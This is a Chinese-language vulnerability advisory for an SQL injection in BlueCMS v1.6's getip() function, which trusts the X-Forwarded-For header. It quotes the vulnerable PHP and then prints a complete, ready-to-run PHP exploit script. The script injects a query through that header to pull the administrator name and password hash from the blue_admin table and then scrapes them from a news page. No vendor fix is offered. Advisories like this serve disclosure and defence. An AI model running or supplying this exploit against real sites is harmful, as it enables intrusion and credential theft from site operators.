BlueCMS信息门户系统存在getip()注射漏洞


添加时间:
2010-08-20

系统编号:
WAVDB-01694

影响版本:
BlueCMS v1.6

程序介绍:

BlueCMS是一个地方分类信息门户专用CMS系统。

漏洞分析:

程序在使用getip()函数获取客户端ip时没有严格过滤数据,导致sql注射漏洞。
//comment.php

 
  1. $sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";           // 注意getip()  
  2. $db->query($sql);  
再看看这个函数
//include/common.fun.php
 
  1. function getip()  
  2. {  
  3. if (getenv('HTTP_CLIENT_IP'))  
  4. {  
  5.    $ip = getenv('HTTP_CLIENT_IP');        //可伪造  
  6. }  
  7. elseif (getenv('HTTP_X_FORWARDED_FOR'))   
  8. {   
  9.    $ip = getenv('HTTP_X_FORWARDED_FOR'); //可伪造  
  10. }  
  11. elseif (getenv('HTTP_X_FORWARDED'))   
  12. {   
  13.    $ip = getenv('HTTP_X_FORWARDED');  
  14. }  
  15. elseif (getenv('HTTP_FORWARDED_FOR'))  
  16. {  
  17.    $ip = getenv('HTTP_FORWARDED_FOR');   
  18. }  
  19. elseif (getenv('HTTP_FORWARDED'))  
  20. {  
  21.    $ip = getenv('HTTP_FORWARDED');  
  22. }  
  23. else  
  24. {   
  25.    $ip = $_SERVER['REMOTE_ADDR'];  
  26. }  
  27. return $ip;  
  28. }  




漏洞利用:

 
  1. <?php  
  2. print_r('  
  3. +---------------------------------------------------------------------------+  
  4. BlueCMS v1.6 sp1 Getip() Remote SQL Injection Exploit  
  5. by cnryan  
  6. Mail: cnryan2008[at]gmail[dot]com  
  7. Blog: http://hi.baidu.com/cnryan       
  8. +---------------------------------------------------------------------------+  
  9. ');  
  10. if ($argc < 3) {  
  11.     print_r('  
  12. +---------------------------------------------------------------------------+  
  13. Example:  
  14. php '.$argv[0].' localhost /bluecms/  
  15. +---------------------------------------------------------------------------+  
  16. ');  
  17.     exit;  
  18. }  
  19. error_reporting(7);  
  20. ini_set('max_execution_time', 0);  
  21. $host = $argv[1];  
  22. $path = $argv[2];  
  23. send();  
  24. send2();  
  25. function send()  
  26. {  
  27.     global $host$path;  
  28.     $cmd = "mood=6&comment=test&id=1&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DB";  
  29.     $getinj=" 00','1'),('','1','0','1','6',(select concat('<u-',admin_name,'-u><p-',pwd,'-p>') from blue_admin),'1281181973','99";  
  30.     $data = "POST ".$path."comment.php?act=send HTTP/1.1\r\n";  
  31.     $data .= "Accept: */*\r\n";  
  32.     $data .= "Accept-Language: zh-cn\r\n";  
  33.     $data .= "Content-Type: application/x-www-form-urlencoded\r\n";  
  34.     $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";  
  35.     $data .= "Host: $host\r\n";  
  36.     $data .= "Content-Length: ".strlen($cmd)."\r\n";  
  37.     $data .= "Connection: Close\r\n";  
  38.     $data .= "X-Forwarded-For: $getinj\r\n\r\n";  
  39.     $data .= $cmd;  
  40.   
  41.     $fp = fsockopen($host, 80);  
  42.     fputs($fp$data);  
  43.   
  44.     $resp = '';  
  45.   
  46.     while ($fp && !feof($fp))  
  47.         $resp .= fread($fp, 1024);  
  48.   
  49.     return $resp;  
  50. }  
  51.   
  52. function send2()  
  53. {  
  54. global $host$path;  
  55. $message="GET ".$path."news.php?id=1 HTTP/1.1\r\n";  
  56. $message.="Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*\r\n";  
  57. $message.="Accept-Language: zh-cn\r\n";  
  58. $message.="Accept-Encoding: gzip, deflate\r\n";  
  59. $message.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; GreenBrowser)\r\n";  
  60. $message.="Host: $host\r\n";  
  61. $message.="Connection: Keep-Alive\r\n\r\n";  
  62. $fd = fsockopen($host,'80');  
  63. if(!$fd)  
  64. {  
  65.     echo '[-]No response from'.$host;  
  66.     die;  
  67. }  
  68. fputs($fd,$message);  
  69. $resp = '';  
  70. while (!feof($fd)) {  
  71.     $resp.=fgets($fd);  
  72. }  
  73. fclose($fd);  
  74. preg_match_all("/<u-([^<]*)-u><p-([^<]*)-p>/",$resp,$db);  
  75. if($db[1][0]&$db[2][0])  
  76. {  
  77. echo "username->".$db[1][0]."\r\n";  
  78. echo "password->".$db[2][0]."\r\n";  
  79. echo "[+]congratulation ^ ^";  
  80. }else die('[-]exploited fail >"<');  
  81. }  
  82. ?>   


解决方案:
厂商补丁:
BlueCMS
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.bluecms.net

信息来源:
<*来源: ryan' blog
链接: http://hi.baidu.com/cnryan/blog/ ... 069c818d54300a.html*>